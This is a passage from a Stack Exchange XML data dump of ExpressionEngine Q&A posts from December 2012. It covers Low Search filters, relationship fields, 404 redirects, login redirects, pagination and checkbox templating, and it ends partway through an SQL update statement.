categories&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="419" LastActivityDate="2012-12-05T10:25:42.900" Title="Dealing with 100+ categories" Tags="|channel-entries|categories|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1157" PostTypeId="2" ParentId="1155" CreationDate="2012-12-05T09:49:22.330" Score="27" Body="&lt;p&gt;Okay, this may take a while, but first, read my &lt;a href=&quot;http://gotolow.com/blog/a-low-search-primer&quot; rel=&quot;nofollow&quot;&gt;Low Search Primer&lt;/a&gt;. Now you know searching is simply filtering entries by keyword. Low Search uses its collections and their indexes for high quality keyword filtering. In a Low Search form, you can use an input field with &lt;code&gt;name=&quot;keywords&quot;&lt;/code&gt; to trigger filtering by keywords.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Keyword filtering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt; searches &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/collections&quot; rel=&quot;nofollow&quot;&gt;Collections&lt;/a&gt; and the index they create, which is a single field that contains all the custom fields you've added weight to, combined. Therefore, you're not searching &lt;em&gt;just&lt;/em&gt; the title or a custom field specifically; you're searching through an entry as though it is a single searchable field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; be creative with the collections, of course. For example, you could create another collection where you only add weight to the title of a channel, and call it (in your case) 'Event Titles'. When choosing which collection to search in, you can give the user the option to search only 'Event Titles' or 'Events'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you should only give weight to fields that have meaningful text for keyword searches. A date or a drop-down with 'yes' and 'no' do not make sense for keyword searches.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Native filtering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;channel:entries&lt;/code&gt; tag natively provides filters as well, as parameters. For example: &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;category&lt;/code&gt; or &lt;code&gt;search:my_custom_field&lt;/code&gt;. Each of these parameters can be used as input fields or selects in the Low Search form as well, using &lt;code&gt;name=&quot;status&quot;&lt;/code&gt;, &lt;code&gt;name=&quot;category&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;search:my_custom_field&quot;&lt;/code&gt;, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as you know, most &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt; can take &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#multiple-values&quot; rel=&quot;nofollow&quot;&gt;multiple values&lt;/a&gt;. If you want to do that in the form, you can use a multiple select field or checkboxes. For example, you could use the &lt;code&gt;channel:categories&lt;/code&gt; tag to generate a checkbox list of categories. However, if you name those &lt;code&gt;name=&quot;category&quot;&lt;/code&gt;, like I stated above, it will only return &lt;strong&gt;the last one checked/selected&lt;/strong&gt;. That's just how forms work. To send a list (array) of categories, add square brackets to the name: &lt;code&gt;name=&quot;category[]&quot;&lt;/code&gt;. Now &lt;strong&gt;all&lt;/strong&gt; checked/selected items will be posted, and Low Search will convert those to a pipe-separated list and place that in the &lt;code&gt;category&lt;/code&gt; parameter of the &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same principle applies to &lt;strong&gt;all&lt;/strong&gt; native parameters. You can even make sure Low Search converts those values to an &amp;amp;-separated list for &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#inclusive-values&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;inclusive&lt;/strong&gt; parameters&lt;/a&gt;, by setting the &lt;code&gt;require_all&lt;/code&gt; parameter to the Form tag. For example, &lt;code&gt;require_all=&quot;category&quot;&lt;/code&gt; will generate a parameter like &lt;code&gt;category=&quot;1&amp;amp;2&amp;amp;3&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Ranges&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In addition to the Keywords filter, Low Search also lets you filter by &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#ranges&quot; rel=&quot;nofollow&quot;&gt;Ranges&lt;/a&gt;. In your case, you're filtering by date range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works similarly to EE's native &lt;code&gt;search:my_custom_field&lt;/code&gt; parameter, but uses &lt;code&gt;range:my_custom_field&lt;/code&gt; instead. This means you can use an input field like &lt;code&gt;name=&quot;range:my_custom_field&quot;&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the &lt;strong&gt;from&lt;/strong&gt; and &lt;strong&gt;to&lt;/strong&gt; values, you can separate the parameter value with a pipe, for example: &lt;code&gt;range:my_custom_field=&quot;1|10&quot;&lt;/code&gt;, which translates to &quot;my custom field should be between 1 and 10&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;em&gt;split this into 2 fields&lt;/em&gt; like this: &lt;code&gt;range-from:my_custom_field=&quot;1&quot; range-to:my_custom_field=&quot;10&quot;&lt;/code&gt;. Again, the same principle applies to using this in input fields: &lt;code&gt;name=&quot;range-from:my_custom_field&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;range-to:my_custom_field&quot;&lt;/code&gt;. See where this is going?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With what I've tried to explain above, you should already notice the tweaks you need to make in your example code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't add weight to your start and end date fields. It won't hurt, but it won't do anything.&lt;/li&gt;&#xA;&lt;li&gt;You're using &lt;code&gt;name=&quot;range:events_date&quot;&lt;/code&gt; for both the dates, which is wrong on 2 accounts. You're probably looking for events that &lt;strong&gt;start&lt;/strong&gt; in the given range, so this would make more sense: &lt;code&gt;name=&quot;range-from:events_start_date&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;range-to:events_start_date&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You want to search for the custom fields venue and location specifically. You could, but only using EE's native search parameter, so: &lt;code&gt;name=&quot;search:events_course_name&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;search:events_map_formatted_address&quot;&lt;/code&gt;. Also note I'm not using [], because the fields are a &lt;em&gt;single value&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You want to search for a &lt;em&gt;title&lt;/em&gt; specifically. This can't be done with EE's native search parameter, but &lt;em&gt;can&lt;/em&gt; be done with Low Search's extended &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;, using &lt;code&gt;search:title=&quot;&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The checkboxes do need the square brackets, since they both apply to the same field, but again, they're not keywords, so you should use &lt;code&gt;name=&quot;search:events_type[]&quot;&lt;/code&gt; to trigger the filter. You should also add &lt;code&gt;require_all=&quot;search:events_type&quot;&lt;/code&gt; to the form tag, so if both checkboxes are ticked, you only get results for A &lt;strong&gt;and&lt;/strong&gt; B, not A &lt;strong&gt;or&lt;/strong&gt; B.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Turned out to be quite an essay, but I hope this helps you grasp the concept of Low Search better.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-02-24T09:11:20.260" LastActivityDate="2015-02-24T09:11:20.260" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1158" PostTypeId="1" AcceptedAnswerId="1163" CreationDate="2012-12-05T09:53:47.860" Score="2" ViewCount="104" Body="&lt;p&gt;I need to write a custom query against the &lt;code&gt;exp_channel_data&lt;/code&gt; table. However, one of the channel's field is a relationship field. How do I track that back to the appropriate column in the &lt;code&gt;exp_channel_data&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked in the &lt;code&gt;exp_channel_fields&lt;/code&gt; table and found the relationship's &lt;code&gt;field_id&lt;/code&gt; (say it's 10). However, when I look &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;code&gt;field_id_10&lt;/code&gt;, I just see some number in it. I was hoping it would give me the entry id of the row it's related to. Any ideas how to do this? I'm trying to do a JOIN based on the entry id.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-05T17:26:59.733" Title="How to trace channel fields when there is a relationship?" Tags="|channel-entries|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostTypeId="2" ParentId="1156" CreationDate="2012-12-05T10:07:37.010" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but it seems it's not possible to add multiple 'categories'-fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure I'm reading that right though, you can add multiple category groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to Admin &gt; Channel Administration &gt; Channels &gt; Edit Group Assignments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &quot;Edit Group Assignments&quot; being the link to where you can assign category groups, statuses and a channel field group to a certain channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then select multiple category groups by ctrl/cmd clicking multiple category groups at once and  updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also mentioned multi-select boxes and I remember there being an add-on which would setup the native category &quot;tree&quot; into multi-selects though, for the life of me I can't remember what it was called and if it was for EE1 or EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few category field types which may come in handy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot;&gt;http://devot-ee.com/add-ons/wb-category-select&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/jp-category-select&quot;&gt;http://devot-ee.com/add-ons/jp-category-select&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as using one of the Tag add-ons I'm not sure you can get tags within tags if that makes sense. So from your example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Location Type&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Education&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Academies&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-05T10:25:42.900" LastActivityDate="2012-12-05T10:25:42.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostTypeId="2" ParentId="1119" CreationDate="2012-12-05T10:11:46.587" Score="4" Body="&lt;p&gt;I've been working on a module to import members from CSV files. You can download it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_import_members&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/ajweaver/ajw_import_members&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are familiar with &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; it is very similar so you define the data source, map data fields to member fields and then run the import. You can also save imports and re-run them again later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is working fine on the handful of sites that are using it, but consider it &quot;beta&quot; software for now and take a backup before you try using it!&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2012-12-05T10:11:46.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostTypeId="1" CreationDate="2012-12-05T10:12:43.417" Score="3" ViewCount="200" Body="&lt;p&gt;Has anyone used Cartthrob with a super stuffed cart of 100 to 200 items in cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to create a system in the style of an online supermarket shopping cart where you can see all your products in a single cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding products works ok (could be quicker, 5s load time), but when using the update cart form takes minutes to load.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="150" LastEditDate="2012-12-07T04:36:05.877" LastActivityDate="2012-12-19T17:19:07.727" Title="Cartthrob: Shopping cart with over 100 products in cart" Tags="|add-on|ecommerce|cartthrob|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1162" PostTypeId="2" ParentId="45" CreationDate="2012-12-05T10:39:17.857" Score="9" Body="&lt;p&gt;I outlined some of the methodologies I have encountered for handling migrations in my EECI talk where I demoed Site Manager.  You can find my slide deck here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://speakerdeck.com/chrisimrie/eeci-2012-us-ee-and-web-agency&quot;&gt;https://speakerdeck.com/chrisimrie/eeci-2012-us-ee-and-web-agency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the kind words about Site Manager.  Early days, but it is definitely our solution to migrating content between local/dev/production sites.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-12-05T10:39:17.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostTypeId="2" ParentId="1158" CreationDate="2012-12-05T10:48:44.380" Score="2" Body="&lt;p&gt;The number that you are seeing in field_id is the &lt;code&gt;rel_id&lt;/code&gt; from the &lt;code&gt;exp_relationships&lt;/code&gt; table in that table you have access to the child and parent id's so that you can build your query. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-05T10:48:44.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1164" PostTypeId="1" AcceptedAnswerId="1166" CreationDate="2012-12-05T10:51:41.210" Score="5" ViewCount="331" Body="&lt;p&gt;I'm interested in redirecting to a 404 if no category exists at the URL, for example if category xyz doesn't exist at; mydomain.tld/shop/category/xyz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Switchee and a case value for category as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;category&quot;}&#xA;        {!-- Redirect to 404 if no category exists here --}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wondering if anyone knows how to do a redirect here if a matching category is not found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2012-12-05T11:22:58.513" Title="Using switchee to redirect to 404 if no category exists" Tags="|categories|redirects|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostTypeId="1" AcceptedAnswerId="1169" CreationDate="2012-12-05T10:57:27.837" Score="1" ViewCount="725" Body="&lt;p&gt;Is it possible to redirect the user to the previous page after login, without needing to use PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm not using the default login, i'm using the Freemember add-on.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="150" LastEditDate="2012-12-06T01:45:18.580" LastActivityDate="2013-01-21T08:45:08.327" Title="Freemember: Redirect user to previous page after login" Tags="|login|redirects|freemember|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1166" PostTypeId="2" ParentId="1164" CreationDate="2012-12-05T10:57:31.690" Score="7" Body="&lt;p&gt;Get &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot;&gt;Low Seg2Cat&lt;/a&gt;, make sure the Set All Segments setting is set to Yes, and then use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == 'category' AND segment_3_category_id == ''}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or the Switchee equivalent.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-05T10:57:31.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostTypeId="1" AcceptedAnswerId="1183" CreationDate="2012-12-05T11:01:42.057" Score="6" ViewCount="178" Body="&lt;p&gt;Im using Yearly archives to display articles by month: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;news&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; show_future_entries=&quot;no&quot; start_year=&quot;&quot; end_year=&quot;&quot;} &#xA;  {months} &#xA;    {if num_entries &amp;gt; 0} &#xA;      {month} / {num_entries} &#xA;    {/if} &#xA;  {/months} &#xA;{/exp:low_yearly_archives} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have the EE mini calendar tag in my template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm trying to get the calendar tag to display the current month regardless of the url created by yearly archive tag.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want December to show in the calendar tag but if I click on month links created by Yearly archive such as January and the url becomes: &lt;code&gt;news/month/2012/1/&lt;/code&gt; the calendar changes to January and doesnt say on December. &#xA;Ive tried playing about with &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beginning of my calendar tag looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar channel=&quot;events&quot; switch=&quot;calendarToday|calendarCell&quot; start_day=&quot;monday&quot; leading_zeroes=&quot;yes&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; dynamic=&quot;no&quot;} &#xA;&#xA;{date format=&quot;%F %Y&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas. Thanks&lt;/p&gt;&#xA;" OwnerUserId="249" LastEditorUserId="104" LastEditDate="2012-12-05T11:23:14.780" LastActivityDate="2012-12-05T14:30:58.993" Title="EE Calendar Tag &amp; Low Yearly Achives" Tags="|ee2|url|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostTypeId="2" ParentId="1165" CreationDate="2012-12-05T11:16:33.380" Score="3" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you will need to add segment if you have more than 3.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2012-12-05T11:16:33.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1169" PostTypeId="2" ParentId="1165" CreationDate="2012-12-05T11:21:24.143" Score="6" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; As you're using &lt;a href=&quot;https://exp-resso.com/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; you can take advantage of its built-in &lt;code&gt;PREVIOUS_URL&lt;/code&gt; constant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login return=&quot;PREVIOUS_URL&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As detailed in the &lt;a href=&quot;https://github.com/expressodev/freemember/wiki/Login-Tag&quot; rel=&quot;nofollow&quot;&gt;FreeMember login form docs on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were using the built in &lt;code&gt;login_form&lt;/code&gt; tag instead, I'd suggest you &lt;strike&gt;use something like the &lt;a href=&quot;http://devot-ee.com/add-ons/current-url-ee2&quot; rel=&quot;nofollow&quot;&gt;Current URL&lt;/a&gt; extension (EE2 version linked)&lt;/strike&gt; use the incredibly useful &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo'Variables&lt;/a&gt;, to achieve the same effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{current_url}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works as you can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#return&quot; rel=&quot;nofollow&quot;&gt;pass a full URL as the return parameter&lt;/a&gt; to the &lt;code&gt;login_form&lt;/code&gt; tag. That way you're good for any URL structure you might have in your site.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-07T09:35:11.787" LastActivityDate="2012-12-07T09:35:11.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1170" PostTypeId="2" ParentId="1164" CreationDate="2012-12-05T11:22:58.513" Score="2" Body="&lt;p&gt;I didn't have time to write this out before you chose Low's answer though, I will add it just the same for future reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}/{segment_3}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^category/\S+$#&quot;}&#xA;        your code....&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes you will always have something in segment 3 or else go 404&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-05T11:22:58.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1171" PostTypeId="2" ParentId="1165" CreationDate="2012-12-05T11:31:46.600" Score="3" Body="&lt;p&gt;There's also this excellent add-on by Objective HTML that adds redirect on login and logout: &lt;a href=&quot;https://objectivehtml.com/authenticate&quot; rel=&quot;nofollow&quot;&gt;Authenticate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-05T11:31:46.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1172" PostTypeId="1" AcceptedAnswerId="1173" CreationDate="2012-12-05T11:38:18.473" Score="5" ViewCount="373" Body="&lt;p&gt;I am having some issues with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channel entries loops on one template, both of which have pagination enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the loops works fine but the second one, I guess is conflicting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example.. the second loop is duplicating the pagination segments in the url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/P1/P2 etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am also using &lt;a href=&quot;https://github.com/reusserdesign/ExpressionEngine-Ajax-Pagination&quot;&gt;this from Aaron Bushnell&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible to work them independently on one template? Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2012-12-05T16:28:58.773" Title="Two channel entries loops on one page, both with pagination" Tags="|ajax|jquery|pagination|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostTypeId="2" ParentId="1172" CreationDate="2012-12-05T12:01:58.047" Score="3" Body="&lt;p&gt;Try wrapping each channel entries and each pagination in a conditional. If the pagination layout is identical for each channel entry section then you can throw it in a snippet. It might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;pancakes&quot;}&#xA;{exp:channel:entries channel=&quot;pancakes&quot;}&#xA;    {title}&#xA;    {sn-pagination}&#xA;{/exp:channel:entries}&#xA;&#xA;{if:elseif segment_2 == &quot;waffles&quot;}&#xA;{exp:channel:entries channel=&quot;waffles&quot;}&#xA;    {title}&#xA;    {sn-pagination}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-05T12:01:58.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1174" PostTypeId="1" AcceptedAnswerId="1176" CreationDate="2012-12-05T12:22:00.157" Score="4" ViewCount="252" Body="&lt;p&gt;Nice to see a Stack site for EE. Used S Overflow many times in past, and has always been much help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, heres my first question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site that lists dog walks. I have a checkbox field for the walks channel. Users submit walks via a safecracker form, and the checkbox field is used for users to select certain features present at the walk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I display the field on the single entry view page, using the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;strong class=&quot;heading&quot;&amp;gt;Walk Features:&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                  {walk_features}&#xA;                    &amp;lt;li&amp;gt;&#xA;                      &amp;lt;span&amp;gt;{item}&amp;lt;/span&amp;gt;&#xA;                      &amp;lt;a href=&quot;{site_url}walk_location_features&quot; target=&quot;_blank&quot;&amp;gt;Find out more&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                  {/walk_features}&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces me a simple list on front end. Now I want to spice up that list slightly, by having a different icon/image &amp;amp; description for each option (contained within the checkbox field.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to output (HTML) something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;features&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;option1&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Option 1&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;A short description of option one&amp;lt;/p&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;option2&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Option 2&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;A short description of option two&amp;lt;/p&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just not quite sure on how to get to that from my checkbox field. I have had P&amp;amp;T checkbox field &amp;amp; Low Options suggested, however I am still unclear as to how I can get it from the current field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have over 130 entries which use this field, and was hoping that I could output it directly from the existing field. I could add a new field if necessary, and go through transferring the data, but I obviously would like t avoid that if possible! Any help greatly appreciated! :)&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2012-12-05T13:13:08.800" Title="Checkbox field, displaying li with different classes" Tags="|ee2|list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1175" PostTypeId="2" ParentId="1111" CreationDate="2012-12-05T12:50:08.607" Score="4" Body="&lt;p&gt;Did you check your channel's Posting Preferences? (Admin &gt; Channels &gt; Channel Prefs) Could &quot;Automatically turn URLs and email addresses into links?&quot; be turned on? This has caught me a few times in the past... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While ugly, you could otherwise wrap the output with &lt;a href=&quot;http://devot-ee.com/add-ons/url-decode&quot; rel=&quot;nofollow&quot;&gt;URL Decode&lt;/a&gt; tags. This fall under the heading of &quot;quick and damned-dirty&quot; tho. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2012-12-05T12:50:08.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1176" PostTypeId="2" ParentId="1174" CreationDate="2012-12-05T12:57:42.457" Score="4" Body="&lt;p&gt;I suggest switching the field over to P&amp;amp;T Checkboxes or Radio Button (if you only want them to select one option). In the settings I would specify an option value separately from it's label:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option_one : Option 1&#xA;option_two : Option 2&#xA;option_three : Option 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template use the option value as the class name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {walk_features}&#xA;    &amp;lt;li class=&quot;{option}&quot;&amp;gt;&#xA;      &amp;lt;span&amp;gt;{option_name}&amp;lt;/span&amp;gt;&#xA;      &amp;lt;a href=&quot;{site_url}walk_location_features&quot; target=&quot;_blank&quot;&amp;gt;Find out more&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/walk_features}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you have 130 entries already, I suggest using a SQL query to find/replace all the entries with the new values. Be sure to backup your DB before doing this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE&#xA;exp_channel_data&#xA;SET field_id_X = 